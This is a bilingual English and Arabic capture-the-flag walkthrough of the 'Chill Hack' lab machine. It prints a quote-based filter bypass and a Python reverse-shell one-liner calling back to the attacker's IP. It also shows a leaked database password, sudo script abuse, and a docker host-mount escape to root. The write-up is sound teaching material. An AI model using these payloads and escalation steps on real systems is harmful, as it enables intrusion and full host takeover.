Chill Hack — Lab Writeup
Scan Using Nmap :
An Nmap scan was run against the target to identify open ports and running services. Three ports were found open: FTP (21) running vsftpd 3.0.5 with anonymous login enabled, SSH (22) running OpenSSH 8.2p1, and HTTP (80) running Apache 2.4.41. The FTP anonymous access and the web server are the two main entry points to investigate first.
نبدأ بـ Nmap لاكتشاف البورتات المفتوحة على الهدف. نجد 3 بورتات: 21 (FTP) مع anonymous login مفعّل وفيه ملف note.txt، 22 (SSH) يشغّل OpenSSH 8.2p1، و80 (HTTP) يشغّل Apache 2.4.41 بعنوان “Game Info”. وجود anonymous FTP هو أول نقطة دخول واضحة.
─$ sudo nmap -sC -sV 10.48.165.229
[sudo] password for imrnsec:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-20 20:21 IST
Nmap scan report for 10.48.165.229
Host is up (0.040s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 1001 1001 90 Oct 03 2020 note.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.137.234
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 65:36:9e:43:e9:76:e5:b8:7d:a2:82:24:58:32:a4:57 (RSA)
| 256 da:77:0d:9e:88:5b:53:51:27:85:52:65:8c:a5:67:af (ECDSA)
|_ 256 bb:bc:9d:b9:c6:fa:1c:a9:83:1d:9f:2e:29:00:99:e3 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Game Info
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.46 secondsWeb Directory
ffuf was used to brute-force directories on the web server. The most interesting finding was the /secret directory (HTTP 301 redirect), which suggests hidden content worth exploring. Standard static asset folders (css, js, fonts, images) were also found, along with index.html as the main page.
نستخدم ffuf مع wordlist من seclists للبحث عن مسارات مخفية على الويب. أهم نتيجة هي /secret بـ status 301 — مسار مخفي يستحق الفحص. باقي النتائج عبارة عن static assets (/css, /fonts, /images, /js) أو ملفات ممنوعة 403.
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.48.165.229/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________'
:: Method : GET
:: URL : http://10.48.165.229/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 922ms]
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 924ms]
.hta [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 3890ms]
css [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 59ms]
fonts [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 106ms]
images [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 101ms]
index.html [Status: 200, Size: 35184, Words: 16992, Lines: 644, Duration: 98ms]
js [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 98ms]
secret [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 1331ms]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 82ms]
:: Progress: [4746/4746] :: Job [1/1] :: 437 req/sec :: Duration: [0:00:20] :: Errors: 0 ::FTP
Since Nmap showed anonymous FTP login was allowed, we connected to the FTP server without credentials. A single file note.txt was found in the root directory. The cat command does not work inside FTP, so get was used to download the file to the local machine for reading.
نتصل بالـ FTP كـ anonymous (بدون password). نجد ملف note.txt واحد. محاولة cat مباشرة فاشلة لأن FTP لا يدعم أوامر shell — نستخدم get لتحميله محلياً.
──(imrnsec㉿kali)-[~/Desktop/THM/Chill-hack]
└─$ ftp 10.48.165.229
Connected to 10.48.165.229.
220 (vsFTPd 3.0.5)
Name (10.48.165.229:imrnsec): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||13584|)
150 Here comes the directory listing.
-rw-r--r-- 1 1001 1001 90 Oct 03 2020 note.txt
226 Directory send OK.
ftp> ls -la
229 Entering Extended Passive Mode (|||28639|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 115 4096 Oct 03 2020 .
drwxr-xr-x 2 0 115 4096 Oct 03 2020 ..
-rw-r--r-- 1 1001 1001 90 Oct 03 2020 note.txt
226 Directory send OK.
ftp> cat note.txtnnnnnnnnnnnnnnnnnnimrn
?Invalid command.
ftp> get note.txt
local: note.txt remote: note.txt
229 Entering Extended Passive Mode (|||41225|)
150 Opening BINARY mode data connection for note.txt (90 bytes).
100% |*************************************************************| 90 279.90 KiB/s 00:00 ETA
226 Transfer complete.
90 bytes received in 00:00 (2.02 KiB/s)
ftp> note.txt
The note left by user Apaar is a hint that Anurodh has implemented some kind of input filtering on the web application’s command execution feature. This tells us there is a command injection point on the website, but it has a blacklist or filter in place that we will need to bypass.
الملف يكشف معلومة مهمة: هناك فلترة على الـ strings اللي تُدخل في command execution. الرسالة من Apaar لـ Anurodh — يعني في command injection لكن مع WAF/filter يحجب كلمات معينة. سنحتاج نتحايل على الفلتر لاحقاً.
──(imrnsec㉿kali)-[~/Desktop/THM/Chill-hack]
└─$ cat note.txt
Anurodh told me that there is some filtering on strings being put in the command -- ApaarReverse Shell
The web application at /secret had a command injection vulnerability. Since common keywords like python3 were filtered, the payload was wrapped in single quotes ('python3') to bypass the blacklist. This Python one-liner opens a reverse TCP socket back to the attacker machine on port 9001 and spawns a shell, giving us remote code execution as www-data.
في صفحة /secret على الويب توجد خانة command injection. الفلتر يحجب كلمات مثل python3 وbash وغيرها مكتوبة بشكل عادي. التحايل: نضع quotes حول python3 ('python3') لكسر الفلتر. الـ payload يفتح reverse shell على بورت 9001 على جهازنا.
'python3' -c 'import os,pty,socket;s=socket.socket();s.connect(("192.168.137.234",9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'index.php
After landing on the server as www-data, the web files at /var/www/files were explored. The index.php source code revealed hardcoded MySQL database credentials: username root and password !@m+her00+@db. The login form connects to the webportal database and redirects to hacker.php on success.
بعد الحصول على الـ shell كـ www-data، نستكشف /var/www/files. في index.php نجد credentials قاعدة البيانات: المستخدم root والـ password !@m+her00+@db للـ MySQL. هذا يفتح إمكانية الدخول على الـ webportal من خلال /var/www/files/hacker.php.
nc result , index.php
$ cd files
cd files
sh: 10: cd: cant cd to files
$ ls -la
ls -la
total 28
drwxr-xr-x 3 root root 4096 Oct 3 2020 .
drwxr-xr-x 4 root root 4096 Oct 3 2020 ..
-rw-r--r-- 1 root root 391 Oct 3 2020 account.php
-rw-r--r-- 1 root root 453 Oct 3 2020 hacker.php
drwxr-xr-x 2 root root 4096 Oct 3 2020 images
-rw-r--r-- 1 root root 1153 Oct 3 2020 index.php
-rw-r--r-- 1 root root 545 Oct 3 2020 style.css
$ pwd
pwd
/var/www/files
$ cat index.php
cat index.php
<html>
<body>
<?php
if(isset($_POST['submit']))
{
$username = $_POST['username'];
$password = $_POST['password'];
ob_start();
session_start();
try
{
$con = new PDO("mysql:dbname=webportal;host=localhost","root","!@m+her00+@db");
$con->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_WARNING);
}
catch(PDOException $e)
{
exit("Connection failed ". $e->getMessage());
}
require_once("account.php");
$account = new Account($con);
$success = $account->login($username,$password);
if($success)
{
header("Location: hacker.php");
}
}
?>
<link rel="stylesheet" type="text/css" href="style.css">
<div class="signInContainer">
<div class="column">
<div class="header">
<h2 style="color:blue;">Customer Portal</h2>
<h3 style="color:green;">Log In<h3>
</div>
<form method="POST">
<?php echo $success?>
<input type="text" name="username" id="username" placeholder="Username" required>
<input type="password" name="password" id="password" placeholder="Password" required>
<input type="submit" name="submit" value="Submit">
</form>
</div>
</div>
</body>
</html>
$hacker.php
hacker.php is the page shown after a successful login. It contains a hint: “Look in the dark!” — this is a steganography clue pointing to hidden data inside one of the images in the images/ folder. The background GIF and the laptop image are both candidates to investigate with steganography tools.
صفحة hacker.php تظهر رسالة “Look in the dark!” — تلميح للبحث في أماكن مخفية. الصفحة تُعرض بعد تسجيل الدخول الناجح للـ webportal.
$ cat hacker.php
cat hacker.php
<html>
<head>
<body>
<style>
body {
background-image: url('images/002d7e638fb463fb7a266f5ffc7ac47d.gif');
}
h2
{
color:red;
font-weight: bold;
}
h1
{
color: yellow;
font-weight: bold;
}
</style>
<center>
<img src = "images/hacker-with-laptop_23-2147985341.jpg"><br>
<h1 style="background-color:red;">You have reached this far. </h2>
<h1 style="background-color:black;">Look in the dark! You will find your answer</h1>
</center>
</head>
</html>
$ Privilege Escalation — apaar
Running sudo -l as www-data revealed that we can execute /home/apaar/.helpline.sh as the user apaar without a password. The script reads user input and executes it directly as a shell command via $msg, which is a classic command injection vulnerability in a bash script. By entering bash as the message, we get a shell running as apaar. The shell was then upgraded with python3 -c "import pty;pty.spawn('/bin/bash')".
نشغّل sudo -l ونكتشف أن www-data يمكنه تنفيذ /home/apaar/.helpline.sh كـ apaar بدون password. الـ script يقرأ input من المستخدم ثم ينفّذه مباشرة ($msg 2>/dev/null) — command injection واضح. ندخل bash كرسالة للحصول على shell بصلاحيات apaar، ثم نستخدم python3 -c "import pty;pty.spawn('/bin/bash')" للحصول على TTY محسّن.
$ sudo -l
sudo -l
Matching Defaults entries for www-data on ip-10-48-165-229:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ip-10-48-165-229:
(apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh
$ cat /home/apaar/.helpline.sh
cat /home/apaar/.helpline.sh
#!/bin/bash
echo
echo "Welcome to helpdesk. Feel free to talk to anyone at any time!"
echo
read -p "Enter the person whom you want to talk with: " person
read -p "Hello user! I am $person, Please enter your message: " msg
$msg 2>/dev/null
echo "Thank you for your precious time!"
$ $ sudo -u apaar /home/apaar/.helpline.sh
sudo -u apaar /home/apaar/.helpline.sh
Welcome to helpdesk. Feel free to talk to anyone at any time!
Enter the person whom you want to talk with: myself
myself
Hello user! I am myself, Please enter your message: id
id
uid=1001(apaar) gid=1001(apaar) groups=1001(apaar)
Thank you for your precious time!
$ sudo -u apaar /home/apaar/.helpline.sh
sudo -u apaar /home/apaar/.helpline.sh
Welcome to helpdesk. Feel free to talk to anyone at any time!
Enter the person whom you want to talk with: myself
myself
Hello user! I am myself, Please enter your message: bash
bash
is
is
id
id
uid=1001(apaar) gid=1001(apaar) groups=1001(apaar)
$ which python
which python
$ which python3
which python3
$ /usr/bin/python3
$ cd
cd
$ ls -la
ls -la
total 44
drwxr-xr-x 5 apaar apaar 4096 Oct 4 2020 .
drwxr-xr-x 6 root root 4096 Nov 20 14:47 ..
-rw------- 1 apaar apaar 0 Oct 4 2020 .bash_history
-rw-r--r-- 1 apaar apaar 220 Oct 3 2020 .bash_logout
-rw-r--r-- 1 apaar apaar 3771 Oct 3 2020 .bashrc
drwx------ 2 apaar apaar 4096 Oct 3 2020 .cache
drwx------ 3 apaar apaar 4096 Oct 3 2020 .gnupg
-rwxrwxr-x 1 apaar apaar 286 Oct 4 2020 .helpline.sh
-rw-r--r-- 1 apaar apaar 807 Oct 3 2020 .profile
drwxr-xr-x 2 apaar apaar 4096 Oct 3 2020 .ssh
-rw------- 1 apaar apaar 817 Oct 3 2020 .viminfo
-rw-rw---- 1 apaar apaar 46 Oct 4 2020 local.txtUser Flag
With a shell as apaar, the home directory was readable and the file local.txt contained the first flag.
في home directory الخاصة بـ apaar نجد local.txt — هذا هو الـ user flag.
$ cat local.txt
cat local.txt
{USER-FLAG: e8vpd3323cfvlp0qpxxx9qtr5iq37oww}{USER-FLAG: e8vpd3323cfvlp0qpxxx9qtr5iq37oww}
SSH — anurodh
Credentials for user anurodh were discovered (likely from the database or steganography step). SSH was used to log in directly. After logging in, source_code.php was found in the home directory. More importantly, anurodh is a member of the docker group, which is a well-known privilege escalation vector. The first attempt to pull and run an ubuntu image failed due to no internet access, so we listed locally available images and found alpine was already present.
في home directory الخاصة بـ apaar يوجد ملف source_code.php. باستكشاف الـ Docker الموجود على الجهاز نجد أن ubuntu image غير متوفرة (لا يوجد internet access) لكن alpine موجودة locally. anurodh عضو في مجموعة docker — يمكنه تشغيل containers بصلاحيات root.
┌──(imrnsec㉿kali)-[~/Desktop/THM/Chill-hack]
└─$ ssh anurodh@10.48.165.229
The authenticity of host '10.48.165.229 (10.48.165.229)' cant be established.
ED25519 key fingerprint is SHA256:aOK0zaTLtKLO5Gakua8zSaqAS99pHiooxRxW/V69iDE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.48.165.229' (ED25519) to the list of known hosts.
anurodh@10.48.165.229 is password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-138-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Thu 20 Nov 2025 04:01:40 PM UTC
System load: 0.0 Processes: 136
Usage of /: 34.5% of 18.53GB Users logged in: 0
Memory usage: 34% IPv4 address for eth0: 10.48.165.229
Swap usage: 0%
anurodh@ip-10-48-165-229:~$ ls -la
total 28
drwxr-x--- 3 anurodh anurodh 4096 Nov 20 16:01 .
drwxr-xr-x 6 root root 4096 Nov 20 14:47 ..
-rw------- 1 anurodh anurodh 0 Oct 4 2020 .bash_history
-rw-r--r-- 1 anurodh anurodh 220 Oct 3 2020 .bash_logout
-rw-r--r-- 1 anurodh anurodh 3771 Oct 3 2020 .bashrc
drwx------ 2 anurodh anurodh 4096 Nov 20 16:01 .cache
-rw-r--r-- 1 anurodh anurodh 807 Oct 3 2020 .profile
-rw-r--r-- 1 anurodh anurodh 1211 Oct 3 2020 source_code.php
anurodh@ip-10-48-165-229:~$ docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bashUnable to find image ‘ubuntu:latest’ locally docker: Error response from daemon: Get “https://registry-1.docker.io/v2/”: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)
Run docker run --help for more information
anurodh@ip-10-48-165-229:~$ docker image
Usage: docker image COMMAND
Manage images
Commands:
build Build an image from a Dockerfile
history Show the history of an image
import Import the contents from a tarball to create a filesystem image
inspect Display detailed information on one or more images
load Load an image from a tar archive or STDIN
ls List images
prune Remove unused images
pull Download an image from a registry
push Upload an image to a registry
rm Remove one or more images
save Save one or more images to a tar archive (streamed to STDOUT by default)
tag Create a tag TARGET_IMAGE that refers to SOURCE_IMAGE
Run 'docker image COMMAND --help' for more information on a command.
anurodh@ip-10-48-165-229:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest a24bb4013296 5 years ago 5.57MB
hello-world latest bf756fb1ae65 5 years ago 13.3kBRoot via Docker
The Docker privilege escalation works by mounting the entire host filesystem (/) into the container at /host, then using chroot to switch the root directory to /host. This effectively gives us a root shell on the host system, bypassing all access controls. The alpine image was used since it was already pulled locally. Once inside the container with chroot /host /bin/bash, we have full root access to the host’s filesystem.
نستغل صلاحيات Docker لعمل container escape: نشغّل alpine container ونعمل mount للـ filesystem الكامل للهدف (-v /:/host) داخل الـ container، ثم نستخدم chroot /host /bin/bash للدخول على نظام الـ host كـ root. الآن لدينا وصول كامل لكل الملفات.
anurodh@ip-10-48-165-229:~$ docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host /bin/bash
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@6a3d65132b64:/ ls -la
total 2097276
drwxr-xr-x 24 root root 4096 Nov 20 14:47 .
drwxr-xr-x 24 root root 4096 Nov 20 14:47 ..
-rw-r--r-- 1 root root 191 Nov 20 14:47 .badr-info
drwxr-xr-x 2 root root 12288 Apr 27 2025 bin
drwxr-xr-x 4 root root 4096 Nov 20 15:12 boot
drwxr-xr-x 2 root root 4096 Oct 3 2020 cdrom
drwxr-xr-x 19 root root 3920 Nov 20 14:47 dev
drwxr-xr-x 109 root root 12288 Nov 20 14:47 etc
drwxr-xr-x 6 root root 4096 Nov 20 14:47 home
lrwxrwxrwx 1 root root 34 Apr 27 2025 initrd.img -> boot/initrd.img-5.15.0-138-generic
lrwxrwxrwx 1 root root 33 Apr 27 2025 initrd.img.old -> boot/initrd.img-5.4.0-214-generic
drwxr-xr-x 24 root root 4096 Apr 27 2025 lib
drwxr-xr-x 2 root root 4096 Apr 27 2025 lib64
drwx------ 2 root root 16384 Oct 3 2020 lost+found
drwxr-xr-x 2 root root 4096 Aug 6 2020 media
drwxr-xr-x 2 root root 4096 Aug 6 2020 mnt
drwxr-xr-x 3 root root 4096 Oct 3 2020 opt
dr-xr-xr-x 200 root root 0 Nov 20 14:47 proc
drwx------ 7 root root 4096 Apr 27 2025 root
drwxr-xr-x 32 root root 1060 Nov 20 16:01 run
drwxr-xr-x 2 root root 12288 Apr 27 2025 sbin
drwxr-xr-x 6 root root 4096 Apr 27 2025 snap
drwxr-xr-x 3 root root 4096 Oct 3 2020 srv
-rw------- 1 root root 2147483648 Oct 3 2020 swap.img
dr-xr-xr-x 13 root root 0 Nov 20 14:47 sys
drwxrwxrwt 13 root root 4096 Nov 20 16:04 tmp
drwxr-xr-x 11 root root 4096 Oct 3 2020 usr
drwxr-xr-x 14 root root 4096 Oct 3 2020 var
lrwxrwxrwx 1 root root 31 Apr 27 2025 vmlinuz -> boot/vmlinuz-5.15.0-138-generic
lrwxrwxrwx 1 root root 30 Apr 27 2025 vmlinuz.old -> boot/vmlinuz-5.4.0-214-genericRoot Flag
As root inside the chroot environment (which maps to the real host), navigating to /root reveals proof.txt containing the final root flag. The machine is fully compromised.
في /root/proof.txt نجد الـ root flag. المهمة مكتملة — حصلنا على root access عبر سلسلة: anonymous FTP → command injection مع filter bypass → sudo privesc لـ apaar → docker escape لـ root.
root@6a3d65132b64:/# cd /root/
root@6a3d65132b64:~# ls
proof.txt snap
root@6a3d65132b64:~# cat proof.txt
{ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}
Congratulations! You have successfully completed the challenge.
,-.-. ,----. _,.---._ .-._ ,----.
,-..-.-./ \==-\ ,-.--` , \ _.-. _.-. _,..---._ ,-.' , - `. /==/ \ .-._ ,-.--` , \
|, \=/\=|- |==||==|- _.-` .-,.'| .-,.'| /==/, - \ /==/_, , - \|==|, \/ /, /==|- _.-`
|- |/ |/ , /==/|==| `.-.|==|, | |==|, | |==| _ _\==| .=. |==|- \| ||==| `.-.
\, , _|==/==/_ , /|==|- | |==|- | |==| .=. |==|_ : ;=: - |==| , | -/==/_ , /
| - - , |==|==| .-' |==|, | |==|, | |==|,| | -|==| , '=' |==| - _ |==| .-'
\ , - /==/|==|_ ,`-._|==|- `-._|==|- `-._ |==| '=' /\==\ - ,_ /|==| /\ , |==|_ ,`-._
|- /\ /==/ /==/ , //==/ - , ,/==/ - , ,/ |==|-, _`/ '.='. - .' /==/, | |- /==/ , /
`--` `--` `--`-----`` `--`-----'`--`-----' `-.`.____.' `--`--'' `--`./ `--`--`-----``
--------------------------------------------Designed By -------------------------------------------------------
| Anurodh Acharya |
---------------------
Let me know if you liked it.
Twitter
- @acharya_anurodh
Linkedin
- www.linkedin.com/in/anurodh-acharya-b1937116a
root@6a3d65132b64:~# {ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}